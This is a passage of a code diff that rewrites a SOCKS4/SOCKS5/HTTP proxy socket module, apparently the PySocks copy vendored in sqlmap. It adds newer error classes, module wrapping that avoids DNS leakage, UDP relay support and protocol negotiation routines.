# set orgin blocking + if _is_blocking == 0: + self.setblocking(False) + return wrapper -""" -import socket -import struct +class ProxyError(IOError): + """Socket_err contains original socket.error exception.""" + def __init__(self, msg, socket_err=None): + self.msg = msg + self.socket_err = socket_err -PROXY_TYPE_SOCKS4 = 1 -PROXY_TYPE_SOCKS5 = 2 -PROXY_TYPE_HTTP = 3 + if socket_err: + self.msg += ": {}".format(socket_err) -_defaultproxy = None -socket._orig_socket = _orgsocket = _orig_socket = socket.socket -_orgcreateconnection = socket.create_connection + def __str__(self): + return self.msg -class ProxyError(Exception): pass -class GeneralProxyError(ProxyError): pass -class Socks5AuthError(ProxyError): pass -class Socks5Error(ProxyError): pass -class Socks4Error(ProxyError): pass -class HTTPError(ProxyError): pass - -_generalerrors = ("success", - "invalid data", - "not connected", - "not available", - "bad proxy type", - "bad input") - -_socks5errors = ("succeeded", - "general SOCKS server failure", - "connection not allowed by ruleset", - "Network unreachable", - "Host unreachable", - "Connection refused", - "TTL expired", - "Command not supported", - "Address type not supported", - "Unknown error") - -_socks5autherrors = ("succeeded", - "authentication is required", - "all offered authentication methods were rejected", - "unknown username or invalid password", - "unknown error") - -_socks4errors = ("request granted", - "request rejected or failed", - "request rejected because SOCKS server cannot connect to identd on the client", - "request rejected because the client program and identd report different user-ids", - "unknown error") - -def setdefaultproxy(proxytype=None, addr=None, port=None, rdns=True, username=None, password=None): - """setdefaultproxy(proxytype, addr[, port[, rdns[, username[, password]]]]) - Sets a default proxy which all further socksocket objects will use, - unless explicitly changed. - """ - global _defaultproxy - _defaultproxy = (proxytype, addr, port, rdns, username, password) - -def wrapmodule(module): - """wrapmodule(module) - Attempts to replace a module's socket library with a SOCKS socket. Must set - a default proxy using setdefaultproxy(...) first. - This will only work on modules that import socket directly into the namespace; + +class GeneralProxyError(ProxyError): + pass + + +class ProxyConnectionError(ProxyError): + pass + + +class SOCKS5AuthError(ProxyError): + pass + + +class SOCKS5Error(ProxyError): + pass + + +class SOCKS4Error(ProxyError): + pass + + +class HTTPError(ProxyError): + pass + + +# Backward-compatible SocksiPy class names used by older callers. +Socks5AuthError = SOCKS5AuthError +Socks5Error = SOCKS5Error +Socks4Error = SOCKS4Error + +SOCKS4_ERRORS = { + 0x5B: "Request rejected or failed", + 0x5C: ("Request rejected because SOCKS server cannot connect to identd on" + " the client"), + 0x5D: ("Request rejected because the client program and identd report" + " different user-ids") +} + +SOCKS5_ERRORS = { + 0x01: "General SOCKS server failure", + 0x02: "Connection not allowed by ruleset", + 0x03: "Network unreachable", + 0x04: "Host unreachable", + 0x05: "Connection refused", + 0x06: "TTL expired", + 0x07: "Command not supported, or protocol error", + 0x08: "Address type not supported" +} + +DEFAULT_PORTS = {SOCKS4: 1080, SOCKS5: 1080, HTTP: 8080} + + +def set_default_proxy(proxy_type=None, addr=None, port=None, rdns=True, + username=None, password=None): + """Sets a default proxy. + + All further socksocket objects will use the default unless explicitly + changed. All parameters are as for socket.set_proxy().""" + socksocket.default_proxy = (proxy_type, addr, port, rdns, + username.encode() if username else None, + password.encode() if password else None) + + +def setdefaultproxy(*args, **kwargs): + if "proxytype" in kwargs: + kwargs["proxy_type"] = kwargs.pop("proxytype") + return set_default_proxy(*args, **kwargs) + + +def get_default_proxy(): + """Returns the default proxy, set by set_default_proxy.""" + return socksocket.default_proxy + +getdefaultproxy = get_default_proxy + + +def wrap_module(module): + """Attempts to replace a module's socket library with a SOCKS socket. + + Must set a default proxy using set_default_proxy(...) first. This will + only work on modules that import socket directly into the namespace; most of the Python Standard Library falls into this category. + + sqlmap: Keep the historical guarded socket wrapper so non-INET/non-stream + sockets are not proxied, and keep the create_connection() patch for + SOCKS5/HTTP proxies to avoid local DNS leakage. """ - if _defaultproxy != None: - module.socket.socket = socksocket - if _defaultproxy[0] == PROXY_TYPE_SOCKS4: - # Note: unable to prevent DNS leakage in SOCKS4 (Reference: https://security.stackexchange.com/a/171280) - pass - else: + if socksocket.default_proxy: + _orig_socket_ctor = _orgsocket + + @functools.wraps(_orig_socket_ctor) + def guarded_socket(*args, **kwargs): + family = args[0] if len(args) > 0 else kwargs.get("family", socket.AF_INET) + stype = args[1] if len(args) > 1 else kwargs.get("type", socket.SOCK_STREAM) + + flags = 0 + flags |= getattr(socket, "SOCK_CLOEXEC", 0) + flags |= getattr(socket, "SOCK_NONBLOCK", 0) + base_type = stype & ~flags + + if family in (socket.AF_INET, getattr(socket, "AF_INET6", socket.AF_INET)) and base_type == socket.SOCK_STREAM: + return socksocket(*args, **kwargs) + + return _orig_socket_ctor(*args, **kwargs) + + module.socket.socket = guarded_socket + + if socksocket.default_proxy[0] != PROXY_TYPE_SOCKS4: module.socket.create_connection = create_connection else: - raise GeneralProxyError((4, "no proxy specified")) + raise GeneralProxyError("No default proxy specified") -def unwrapmodule(module): + +def unwrap_module(module): module.socket.socket = _orgsocket module.socket.create_connection = _orgcreateconnection -class socksocket(socket.socket): +wrapmodule = wrap_module +unwrapmodule = unwrap_module + + +def create_connection(dest_pair, + timeout=None, source_address=None, + proxy_type=None, proxy_addr=None, + proxy_port=None, proxy_rdns=True, + proxy_username=None, proxy_password=None, + socket_options=None): + """create_connection(dest_pair, *[, timeout], **proxy_args) -> socket object + + Like socket.create_connection(), but connects to proxy + before returning the socket object. + + dest_pair - 2-tuple of (IP/hostname, port). + **proxy_args - Same args passed to socksocket.set_proxy() if present. + timeout - Optional socket timeout value, in seconds. + source_address - tuple (host, port) for the socket to bind to as its source + address before connecting (only for compatibility) + """ + # Remove IPv6 brackets on the remote address and proxy address. + remote_host, remote_port = dest_pair + if remote_host.startswith("["): + remote_host = remote_host.strip("[]") + if proxy_addr and proxy_addr.startswith("["): + proxy_addr = proxy_addr.strip("[]") + + # sqlmap: when this function is installed as socket.create_connection(), + # callers do not pass explicit proxy_* arguments; use the default proxy. + use_default_proxy = proxy_type is None and socksocket.default_proxy + if use_default_proxy: + proxy_type, proxy_addr, proxy_port, proxy_rdns, proxy_username, proxy_password = socksocket.default_proxy + elif proxy_type is None: + return _orgcreateconnection(dest_pair, timeout, source_address) + + proxy_port = proxy_port or DEFAULT_PORTS.get(proxy_type) + err = None + + # Allow the SOCKS proxy to be on IPv4 or IPv6 addresses. + for r in socket.getaddrinfo(proxy_addr, proxy_port, 0, socket.SOCK_STREAM): + family, socket_type, proto, canonname, sa = r + sock = None + try: + sock = socksocket(family, socket_type, proto) + + if socket_options: + for opt in socket_options: + sock.setsockopt(*opt) + + if isinstance(timeout, (int, float)): + sock.settimeout(timeout) + + if proxy_type and not use_default_proxy: + sock.set_proxy(proxy_type, proxy_addr, proxy_port, proxy_rdns, + proxy_username, proxy_password) + if source_address: + sock.bind(source_address) + + sock.connect((remote_host, remote_port)) + return sock + + except (socket.error, ProxyError) as e: + err = e + if sock: + sock.close() + sock = None + + if err: + raise err + + raise socket.error("gai returned empty list.") + + +class _BaseSocket(socket.socket): + """Allows Python 2 delegated methods such as send() to be overridden.""" + def __init__(self, *pos, **kw): + _orig_socket.__init__(self, *pos, **kw) + + self._savedmethods = dict() + for name in self._savenames: + self._savedmethods[name] = getattr(self, name) + delattr(self, name) # Allows normal overriding mechanism to work + + _savenames = list() + + +def _makemethod(name): + return lambda self, *pos, **kw: self._savedmethods[name](*pos, **kw) +for name in ("sendto", "send", "recvfrom", "recv"): + method = getattr(_BaseSocket, name, None) + + # Determine if the method is not defined the usual way + # as a function in the class. + # Python 2 uses __slots__, so there are descriptors for each method, + # but they are not functions. + if not isinstance(method, Callable): + _BaseSocket._savenames.append(name) + setattr(_BaseSocket, name, _makemethod(name)) + + +class socksocket(_BaseSocket): """socksocket([family[, type[, proto]]]) -> socket object + Open a SOCKS enabled socket. The parameters are the same as those of the standard socket init. In order for SOCKS to work, - you must specify family=AF_INET, type=SOCK_STREAM and proto=0. + you must specify family=AF_INET and proto=0. + The "type" argument must be either SOCK_STREAM or SOCK_DGRAM. """ - def __init__(self, family=socket.AF_INET, type=socket.SOCK_STREAM, proto=0, _sock=None): - _orgsocket.__init__(self, family, type, proto, _sock) - if _defaultproxy != None: - self.__proxy = _defaultproxy + default_proxy = None + + def __init__(self, family=socket.AF_INET, type=socket.SOCK_STREAM, + proto=0, *args, **kwargs): + if type not in (socket.SOCK_STREAM, socket.SOCK_DGRAM): + msg = "Socket type must be stream or datagram, not {!r}" + raise ValueError(msg.format(type)) + + super(socksocket, self).__init__(family, type, proto, *args, **kwargs) + self._proxyconn = None # TCP connection to keep UDP relay alive + + if self.default_proxy: + self.proxy = self.default_proxy else: - self.__proxy = (None, None, None, None, None, None) - self.__proxysockname = None - self.__proxypeername = None - - def __recvall(self, count): - """__recvall(count) -> data - Receive EXACTLY the number of bytes requested from the socket. - Blocks until the required number of bytes have been received. - """ - data = self.recv(count) + self.proxy = (None, None, None, None, None, None) + self.proxy_sockname = None + self.proxy_peername = None + + self._timeout = None + + def _readall(self, file, count): + """Receive EXACTLY the number of bytes requested from the file object. + + Blocks until the required number of bytes have been received.""" + data = b"" while len(data) < count: - d = self.recv(count-len(data)) - if not d: raise GeneralProxyError((0, "connection closed unexpectedly")) - data = data + d + d = file.read(count - len(data)) + if not d: + raise GeneralProxyError("Connection closed unexpectedly") + data += d return data - def setproxy(self, proxytype=None, addr=None, port=None, rdns=True, username=None, password=None): - """setproxy(proxytype, addr[, port[, rdns[, username[, password]]]]) - Sets the proxy to be used. - proxytype - The type of the proxy to be used. Three types - are supported: PROXY_TYPE_SOCKS4 (including socks4a), - PROXY_TYPE_SOCKS5 and PROXY_TYPE_HTTP + def settimeout(self, timeout): + self._timeout = timeout + try: + # test if we're connected, if so apply timeout + peer = self.get_proxy_peername() + super(socksocket, self).settimeout(self._timeout) + except socket.error: + pass + + def gettimeout(self): + return self._timeout + + def setblocking(self, v): + if v: + self.settimeout(None) + else: + self.settimeout(0.0) + + def set_proxy(self, proxy_type=None, addr=None, port=None, rdns=True, + username=None, password=None): + """ Sets the proxy to be used. + + proxy_type - The type of the proxy to be used. Three types + are supported: PROXY_TYPE_SOCKS4 (including socks4a), + PROXY_TYPE_SOCKS5 and PROXY_TYPE_HTTP addr - The address of the server (IP or DNS). port - The port of the server. Defaults to 1080 for SOCKS - servers and 8080 for HTTP proxy servers. - rdns - Should DNS queries be preformed on the remote side - (rather than the local side). The default is True. - Note: This has no effect with SOCKS4 servers. + servers and 8080 for HTTP proxy servers. + rdns - Should DNS queries be performed on the remote side + (rather than the local side). The default is True. + Note: This has no effect with SOCKS4 servers. username - Username to authenticate with to the server. - The default is no authentication. + The default is no authentication. password - Password to authenticate with to the server. - Only relevant when username is also provided. + Only relevant when username is also provided.""" + self.proxy = (proxy_type, addr, port, rdns, + username.encode() if username else None, + password.encode() if password else None) + + def setproxy(self, *args, **kwargs): + if "proxytype" in kwargs: + kwargs["proxy_type"] = kwargs.pop("proxytype") + return self.set_proxy(*args, **kwargs) + + def bind(self, *pos, **kw): + """Implements proxy connection for UDP sockets. + + Happens during the bind() phase.""" + (proxy_type, proxy_addr, proxy_port, rdns, username, + password) = self.proxy + if not proxy_type or self.type != socket.SOCK_DGRAM: + return _orig_socket.bind(self, *pos, **kw) + + if self._proxyconn: + raise socket.error(EINVAL, "Socket already bound to an address") + if proxy_type != SOCKS5: + msg = "UDP only supported by SOCKS5 proxy type" + raise socket.error(EOPNOTSUPP, msg) + super(socksocket, self).bind(*pos, **kw) + + # Need to specify actual local port because + # some relays drop packets if a port of zero is specified. + # Avoid specifying host address in case of NAT though. + _, port = self.getsockname() + dst = ("0", port) + + self._proxyconn = _orig_socket() + proxy = self._proxy_addr() + self._proxyconn.connect(proxy) + + UDP_ASSOCIATE = b"\x03" + _, relay = self._SOCKS5_request(self._proxyconn, UDP_ASSOCIATE, dst) + + # The relay is most likely on the same host as the SOCKS proxy, + # but some proxies return a private IP address (10.x.y.z) + host, _ = proxy + _, port = relay + super(socksocket, self).connect((host, port)) + super(socksocket, self).settimeout(self._timeout) + self.proxy_sockname = ("0.0.0.0", 0) # Unknown + + def sendto(self, bytes, *args, **kwargs): + if self.type != socket.SOCK_DGRAM: + return super(socksocket, self).sendto(bytes, *args, **kwargs) + if not self._proxyconn: + self.bind(("", 0)) + + address = args[-1] + flags = args[:-1] + + header = BytesIO() + RSV = b"\x00\x00" + header.write(RSV) + STANDALONE = b"\x00" + header.write(STANDALONE) + self._write_SOCKS5_address(address, header) + + sent = super(socksocket, self).send(header.getvalue() + bytes, *flags, + **kwargs) + return sent - header.tell() + + def send(self, bytes, flags=0, **kwargs): + if self.type == socket.SOCK_DGRAM: + return self.sendto(bytes, flags, self.proxy_peername, **kwargs) + else: + return super(socksocket, self).send(bytes, flags, **kwargs) + + def recvfrom(self, bufsize, flags=0): + if self.type != socket.SOCK_DGRAM: + return super(socksocket, self).recvfrom(bufsize, flags) + if not self._proxyconn: + self.bind(("", 0)) + + buf = BytesIO(super(socksocket, self).recv(bufsize + 1024, flags)) + buf.seek(2, SEEK_CUR) + frag = buf.read(1) + if ord(frag): + raise NotImplementedError("Received UDP packet fragment") + fromhost, fromport = self._read_SOCKS5_address(buf) + + if self.proxy_peername: + peerhost, peerport = self.proxy_peername + if fromhost != peerhost or peerport not in (0, fromport): + raise socket.error(EAGAIN, "Packet filtered") + + return (buf.read(bufsize), (fromhost, fromport)) + + def recv(self, *pos, **kw): + bytes, _ = self.recvfrom(*pos, **kw) + return bytes + + def close(self): + if self._proxyconn: + self._proxyconn.close() + return super(socksocket, self).close() + + def get_proxy_sockname(self): + """Returns the bound IP address and port number at the proxy.""" + return self.proxy_sockname + + getproxysockname = get_proxy_sockname + + def get_proxy_peername(self): + """ + Returns the IP and port number of the proxy. """ - self.__proxy = (proxytype, addr, port, rdns, username, password) + return self.getpeername() + + getproxypeername = get_proxy_peername + + def get_peername(self): + """Returns the IP address and port number of the destination machine. + + Note: get_proxy_peername returns the proxy.""" + return self.proxy_peername + + getpeername = get_peername + + def _negotiate_SOCKS5(self, *dest_addr): + """Negotiates a stream connection through a SOCKS5 server.""" + CONNECT = b"\x01" + self.proxy_peername, self.proxy_sockname = self._SOCKS5_request( + self, CONNECT, dest_addr) - def __negotiatesocks5(self, destaddr, destport): - """__negotiatesocks5(self,destaddr,destport) - Negotiates a connection through a SOCKS5 server. + def _SOCKS5_request(self, conn, cmd, dst): """ - # First we'll send the authentication packages we support. - if (self.__proxy[4]!=None) and (self.__proxy[5]!=None): - # The username/password details were supplied to the - # setproxy method so we support the USERNAME/PASSWORD - # authentication (in addition to the standard none). - self.sendall(struct.pack('BBBB', 0x05, 0x02, 0x00, 0x02)) - else: - # No username/password were entered, therefore we - # only support connections with no authentication. - self.sendall(struct.pack('BBB', 0x05, 0x01, 0x00)) - # We'll receive the server's response to determine which - # method was selected - chosenauth = self.__recvall(2) - if chosenauth[0:1] != chr(0x05).encode(): - self.close() - raise GeneralProxyError((1, _generalerrors[1])) - # Check the chosen authentication method - if chosenauth[1:2] == chr(0x00).encode(): - # No authentication is required - pass - elif chosenauth[1:2] == chr(0x02).encode(): - # Okay, we need to perform a basic username/password - # authentication. - self.sendall(chr(0x01).encode() + chr(len(self.__proxy[4])) + self.__proxy[4] + chr(len(self.__proxy[5])) + self.__proxy[5]) - authstat = self.__recvall(2) - if authstat[0:1] != chr(0x01).encode(): - # Bad response - self.close() - raise GeneralProxyError((1, _generalerrors[1])) - if authstat[1:2] != chr(0x00).encode(): - # Authentication failed - self.close() - raise Socks5AuthError((3, _socks5autherrors[3])) - # Authentication succeeded - else: - # Reaching here is always bad - self.close() - if chosenauth[1] == chr(0xFF).encode(): - raise Socks5AuthError((2, _socks5autherrors[2])) - else: - raise GeneralProxyError((1, _generalerrors[1])) - # Now we can request the actual connection - req = struct.pack('BBB', 0x05, 0x01, 0x00) - # If the given destination address is an IP address, we'll - # use the IPv4 address request even if remote resolving was specified. + Send SOCKS5 request with given command (CMD field) and + address (DST field). Returns resolved DST address that was used. + """ + proxy_type, addr, port, rdns, username, password = self.proxy + + writer = conn.makefile("wb") + reader = conn.makefile("rb", 0) # buffering=0 renamed in Python 3 try: - ipaddr = socket.inet_aton(destaddr) - req = req + chr(0x01).encode() + ipaddr - except socket.error: - # Well it's not an IP number, so it's probably a DNS name. - if self.__proxy[3]: - # Resolve remotely - ipaddr = None - req = req + chr(0x03).encode() + chr(len(destaddr)).encode() + (destaddr if isinstance(destaddr, bytes) else destaddr.encode()) + # First we'll send the authentication packages we support. + if username and password: + # The username/password details were supplied to the + # set_proxy method so we support the USERNAME/PASSWORD + # authentication (in addition to the standard none). + writer.write(b"\x05\x02\x00\x02") else: - # Resolve locally - ipaddr = socket.inet_aton(socket.gethostbyname(destaddr)) - req = req + chr(0x01).encode() + ipaddr - req = req + struct.pack(">H", destport) - self.sendall(req) - # Get the response - resp = self.__recvall(4) - if resp[0:1] != chr(0x05).encode(): - self.close() - raise GeneralProxyError((1, _generalerrors[1])) - elif resp[1:2] != chr(0x00).encode(): - # Connection failed - self.close() - if ord(resp[1:2])<=8: - raise Socks5Error((ord(resp[1:2]), _socks5errors[ord(resp[1:2])])) - else: - raise Socks5Error((9, _socks5errors[9])) - # Get the bound address/port - elif resp[3:4] == chr(0x01).encode(): - boundaddr = self.__recvall(4) - elif resp[3:4] == chr(0x03).encode(): - resp = resp + self.recv(1) - boundaddr = self.__recvall(ord(resp[4:5])) + # No username/password were entered, therefore we + # only support connections with no authentication. + writer.write(b"\x05\x01\x00") + + # We'll receive the server's response to determine which + # method was selected + writer.flush() + chosen_auth = self._readall(reader, 2) + + if chosen_auth[0:1] != b"\x05": + # Note: string[i:i+1] is used because indexing of a bytestring + # via bytestring[i] yields an integer in Python 3 + raise GeneralProxyError( + "SOCKS5 proxy server sent invalid data") + + # Check the chosen authentication method + + if chosen_auth[1:2] == b"\x02": + # Okay, we need to perform a basic username/password + # authentication. + if not (username and password): + # Although we said we don't support authentication, the + # server may still request basic username/password + # authentication + raise SOCKS5AuthError("No username/password supplied. " + "Server requested username/password" + " authentication") + + writer.write(b"\x01" + chr(len(username)).encode() + + username + + chr(len(password)).encode() + + password) + writer.flush() + auth_status = self._readall(reader, 2) + if auth_status[0:1] != b"\x01": + # Bad response + raise GeneralProxyError( + "SOCKS5 proxy server sent invalid data") + if auth_status[1:2] != b"\x00": + # Authentication failed + raise SOCKS5AuthError("SOCKS5 authentication failed") + + # Otherwise, authentication succeeded + + # No authentication is required if 0x00 + elif chosen_auth[1:2] != b"\x00": + # Reaching here is always bad + if chosen_auth[1:2] == b"\xFF": + raise SOCKS5AuthError( + "All offered SOCKS5 authentication methods were" + " rejected") + else: + raise GeneralProxyError( + "SOCKS5 proxy server sent invalid data") + + # Now we can request the actual connection + writer.write(b"\x05" + cmd + b"\x00") + resolved = self._write_SOCKS5_address(dst, writer) + writer.flush() + + # Get the response + resp = self._readall(reader, 3) + if resp[0:1] != b"\x05": + raise GeneralProxyError( + "SOCKS5 proxy server sent invalid data") + + status = ord(resp[1:2]) + if status != 0x00: + # Connection failed: server returned an error + error = SOCKS5_ERRORS.get(status, "Unknown error") + raise SOCKS5Error("{:#04x}: {}".format(status, error)) + + # Get the bound address/port + bnd = self._read_SOCKS5_address(reader) + + super(socksocket, self).settimeout(self._timeout) + return (resolved, bnd) + finally: + reader.close() + writer.close() + + def _write_SOCKS5_address(self, addr, file): + """ + Return the host and port packed for the SOCKS5 protocol, + and the resolved address as a tuple object. + """ + host, port = addr + proxy_type, _, _, rdns, username, password = self.proxy + family_to_byte = {socket.AF_INET: b"\x01", socket.AF_INET6: b"\x04"} + + # If the given destination address is an IP address, we'll + # use the IP address request even if remote resolving was specified. + # Detect whether the address is IPv4/6 directly. + for family in (socket.AF_INET, socket.AF_INET6): + try: + addr_bytes = socket.inet_pton(family, host) + file.write(family_to_byte[family] + addr_bytes) + host = socket.inet_ntop(family, addr_bytes) + file.write(struct.pack(">H", port)) + return host, port + except socket.error: + continue + + # Well it's not an IP number, so it's probably a DNS name. + if rdns: + # Resolve remotely + host_bytes = host.encode("idna") + file.write(b"\x03" + chr(len(host_bytes)).encode() + host_bytes) else: - self.close() - raise GeneralProxyError((1,_generalerrors[1])) - boundport = struct.unpack(">H", self.__recvall(2))[0] - self.__proxysockname = (boundaddr, boundport) - if ipaddr != None: - self.__proxypeername = (socket.inet_ntoa(ipaddr), destport) + # Resolve locally + addresses = socket.getaddrinfo(host, port, socket.AF_UNSPEC, + socket.SOCK_STREAM, + socket.IPPROTO_TCP, + socket.AI_ADDRCONFIG) + # We can't really work out what IP is reachable, so just pick the + # first. + target_addr = addresses[0] + family = target_addr[0] + host = target_addr[4][0] + + addr_bytes = socket.inet_pton(family, host) + file.write(family_to_byte[family] + addr_bytes) + host = socket.inet_ntop(family, addr_bytes) + file.write(struct.pack(">H", port)) + return host, port + + def _read_SOCKS5_address(self, file): + atyp = self._readall(file, 1) + if atyp == b"\x01": + addr = socket.inet_ntoa(self._readall(file, 4)) + elif atyp == b"\x03": + length = self._readall(file, 1) + addr = self._readall(file, ord(length)) + elif atyp == b"\x04": + addr = socket.inet_ntop(socket.AF_INET6, self._readall(file, 16)) else: - self.__proxypeername = (destaddr, destport) - - def getproxysockname(self): - """getsockname() -> address info - Returns the bound IP address and port number at the proxy. - """ - return self.__proxysockname + raise GeneralProxyError("SOCKS5 proxy server sent invalid data") - def getproxypeername(self): - """getproxypeername() -> address info - Returns the IP and port number of the proxy. - """ - return _orgsocket.getpeername(self) + port = struct.unpack(">H", self._readall(file, 2))[0] + return addr, port - def getpeername(self): - """getpeername() -> address info - Returns the IP address and port number of the destination - machine (note: getproxypeername returns the proxy) - """ - return self.__proxypeername + def _negotiate_SOCKS4(self, dest_addr, dest_port): + """Negotiates a connection through a SOCKS4 server.""" + proxy_type, addr, port, rdns, username, password = self.proxy - def __negotiatesocks4(self,destaddr,destport): - """__negotiatesocks4(self,destaddr,destport) - Negotiates a connection through a SOCKS4 server. - """ - # Check if the destination address provided is an IP address - rmtrslv = False + writer = self.makefile("wb") + reader = self.makefile("rb", 0) # buffering=0 renamed in Python 3 try: - ipaddr = socket.inet_aton(destaddr) - except socket.error: - # It's a DNS name. Check where it should be resolved. - if self.__proxy[3]: - ipaddr = struct.pack("BBBB", 0x00, 0x00, 0x00, 0x01) - rmtrslv = True - else: - ipaddr = socket.inet_aton(socket.gethostbyname(destaddr)) - # Construct the request packet - req = struct.pack(">BBH", 0x04, 0x01, destport) + ipaddr - # The username parameter is considered userid for SOCKS4 - if self.__proxy[4] != None: - req = req + self.__proxy[4] - req = req + chr(0x00).encode() - # DNS name if remote resolving is required - # NOTE: This is actually an extension to the SOCKS4 protocol - # called SOCKS4A and may not be supported in all cases. - if rmtrslv: - req = req + destaddr + chr(0x00).encode() - self.sendall(req) - # Get the response from the server - resp = self.__recvall(8) - if resp[0:1] != chr(0x00).encode(): - # Bad data - self.close() - raise GeneralProxyError((1,_generalerrors[1])) - if resp[1:2] != chr(0x5A).encode(): - # Server returned an error - self.close() - if ord(resp[1:2]) in (91, 92, 93): - self.close() - raise Socks4Error((ord(resp[1:2]), _socks4errors[ord(resp[1:2]) - 90])) + # Check if the destination address provided is an IP address + remote_resolve = False + try: + addr_bytes = socket.inet_aton(dest_addr) + except socket.error: + # It's a DNS name. Check where it should be resolved. + if rdns: + addr_bytes = b"\x00\x00\x00\x01" + remote_resolve = True + else: + addr_bytes = socket.inet_aton( + socket.gethostbyname(dest_addr)) + + # Construct the request packet + writer.write(struct.pack(">BBH", 0x04, 0x01, dest_port)) + writer.write(addr_bytes) + + # The username parameter is considered userid for SOCKS4 + if username: + writer.write(username) + writer.write(b"\x00") + + # DNS name if remote resolving is required + # NOTE: This is actually an extension to the SOCKS4 protocol + # called SOCKS4A and may not be supported in all cases. + if remote_resolve: + writer.write(dest_addr.encode("idna") + b"\x00") + writer.flush() + + # Get the response from the server + resp = self._readall(reader, 8) + if resp[0:1] != b"\x00": + # Bad data + raise GeneralProxyError( + "SOCKS4 proxy server sent invalid data") + + status = ord(resp[1:2]) + if status != 0x5A: + # Connection failed: server returned an error + error = SOCKS4_ERRORS.get(status, "Unknown error") + raise SOCKS4Error("{:#04x}: {}".format(status, error)) + + # Get the bound address/port + self.proxy_sockname = (socket.inet_ntoa(resp[4:]), + struct.unpack(">H", resp[2:4])[0]) + if remote_resolve: + self.proxy_peername = socket.inet_ntoa(addr_bytes), dest_port else: - raise Socks4Error((94, _socks4errors[4])) - # Get the bound address/port - self.__proxysockname = (socket.inet_ntoa(resp[4:]), struct.unpack(">H", resp[2:4])[0]) - if rmtrslv != None: - self.__proxypeername = (socket.inet_ntoa(ipaddr), destport) - else: - self.__proxypeername = (destaddr, destport) + self.proxy_peername = dest_addr, dest_port + finally: + reader.close() + writer.close() + + def _negotiate_HTTP(self, dest_addr, dest_port): + """Negotiates a connection through an HTTP server. + + NOTE: This currently only supports HTTP CONNECT-style proxies.""" + proxy_type, addr, port, rdns, username, password = self.proxy - def __negotiatehttp(self, destaddr, destport): - """__negotiatehttp(self,destaddr,destport) - Negotiates a connection through an HTTP server. - """ # If we need to resolve locally, we do this now - if not self.__proxy[3]: - addr = socket.gethostbyname(destaddr) - else: - addr = destaddr - self.sendall(("CONNECT " + addr + ":" + str(destport) + " HTTP/1.1\r\n" + "Host: " + destaddr + "\r\n\r\n").encode()) - # We read the response until we get the string "\r\n\r\n" - resp = self.recv(1) - while resp.find("\r\n\r\n".encode()) == -1: - resp = resp + self.recv(1) - # We just need the first line to check if the connection - # was successful - statusline = resp.splitlines()[0].split(" ".encode(), 2) - if statusline[0] not in ("HTTP/1.0".encode(), "HTTP/1.1".encode()): - self.close() - raise GeneralProxyError((1, _generalerrors[1])) + addr = dest_addr if rdns else socket.gethostbyname(dest_addr) + + http_headers = [ + (b"CONNECT " + addr.encode("idna") + b":" + + str(dest_port).encode() + b" HTTP/1.1"), + b"Host: " + dest_addr.encode("idna") + ] + + if username and password: + http_headers.append(b"Proxy-Authorization: basic " + + b64encode(username + b":" + password)) + + http_headers.append(b"\r\n") + + self.sendall(b"\r\n".join(http_headers)) + + # We just need the first line to check if the connection was successful + fobj = self.makefile() + status_line = fobj.readline() + fobj.close() + + if not status_line: + raise GeneralProxyError("Connection closed unexpectedly") + try: - statuscode = int(statusline[1]) + proto, status_code, status_msg = status_line.split(" ", 2) except ValueError: - self.close() - raise GeneralProxyError((1, _generalerrors[1])) - if statuscode != 200: - self.close() - raise HTTPError((statuscode, statusline[2])) - self.__proxysockname = ("0.0.0.0", 0) - self.__proxypeername = (addr, destport) + raise GeneralProxyError("HTTP proxy server sent invalid response") + + if not proto.startswith("HTTP/"): + raise GeneralProxyError( + "Proxy server does not appear to be an HTTP proxy") - def connect(self, destpair): - """connect(self, despair) + try: + status_code = int(status_code) + except ValueError: + raise HTTPError( + "HTTP proxy server did not return a valid HTTP status") + + if status_code != 200: + error = "{}: {}".format(status_code, status_msg) + if status_code in (400, 403, 405): + # It's likely that the HTTP proxy server does not support the + # CONNECT tunneling method + error += ("\n[*] Note: The HTTP proxy server may not be" + " supported by PySocks (must be a CONNECT tunnel" + " proxy)") + raise HTTPError(error) + + self.proxy_sockname = (b"0.0.0.0", 0) + self.proxy_peername = addr, dest_port + + _proxy_negotiators = { + SOCKS4: _negotiate_SOCKS4, + SOCKS5: _negotiate_SOCKS5, + HTTP: _negotiate_HTTP + } + + @set_self_blocking + def connect(self, dest_pair, catch_errors=None): + """ Connects to the specified destination through a proxy. - destpar - A tuple of the IP/DNS address and the port number. - (identical to socket's connect). - To select the proxy server use setproxy(). + Uses the same API as socket's connect(). + To select the proxy server, use set_proxy(). + + dest_pair - 2-tuple of (IP/hostname, port). """ - # Do a minimal input check first - if (not type(destpair) in (list,tuple)) or (len(destpair) < 2) or (type(destpair[0]) != type('')) or (type(destpair[1]) != int): - raise GeneralProxyError((5, _generalerrors[5])) - if self.__proxy[0] == PROXY_TYPE_SOCKS5: - if self.__proxy[2] != None: - portnum = self.__proxy[2] - else: - portnum = 1080 - _orgsocket.connect(self, (self.__proxy[1], portnum)) - self.__negotiatesocks5(destpair[0], destpair[1]) - elif self.__proxy[0] == PROXY_TYPE_SOCKS4: - if self.__proxy[2] != None: - portnum = self.__proxy[2] + if len(dest_pair) != 2 or dest_pair[0].startswith("["): + # Probably IPv6, not supported -- raise an error, and hope + # Happy Eyeballs (RFC6555) makes sure at least the IPv4 + # connection works... + raise socket.error("PySocks doesn't support IPv6: %s" + % str(dest_pair)) + + dest_addr, dest_port = dest_pair + + if self.type == socket.SOCK_DGRAM: + if not self._proxyconn: + self.bind(("", 0)) + dest_addr = socket.gethostbyname(dest_addr) + + # If the host address is INADDR_ANY or similar, reset the peer + # address so that packets are received from any peer + if dest_addr == "0.0.0.0" and not dest_port: + self.proxy_peername = None else: - portnum = 1080 - _orgsocket.connect(self,(self.__proxy[1], portnum)) - self.__negotiatesocks4(destpair[0], destpair[1]) - elif self.__proxy[0] == PROXY_TYPE_HTTP: - if self.__proxy[2] != None: - portnum = self.__proxy[2] + self.proxy_peername = (dest_addr, dest_port) + return + + (proxy_type, proxy_addr, proxy_port, rdns, username, + password) = self.proxy + + # Do a minimal input check first + if (not isinstance(dest_pair, (list, tuple)) + or len(dest_pair) != 2 + or not dest_addr + or not isinstance(dest_port, int)): + # Inputs failed, raise an error + raise GeneralProxyError( + "Invalid destination-connection (host, port) pair") + + # We set the timeout here so that we don't hang in connection or during + # negotiation. + super(socksocket, self).settimeout(self._timeout) + + if proxy_type is None: + # Treat like regular socket object + self.proxy_peername = dest_pair + super(socksocket, self).settimeout(self._timeout) + super(socksocket, self).connect((dest_addr, dest_port)) + return + + proxy_addr = self._proxy_addr() + + try: + # Initial connection to proxy server. + super(socksocket, self).connect(proxy_addr) + + except socket.error as error: + # Error while 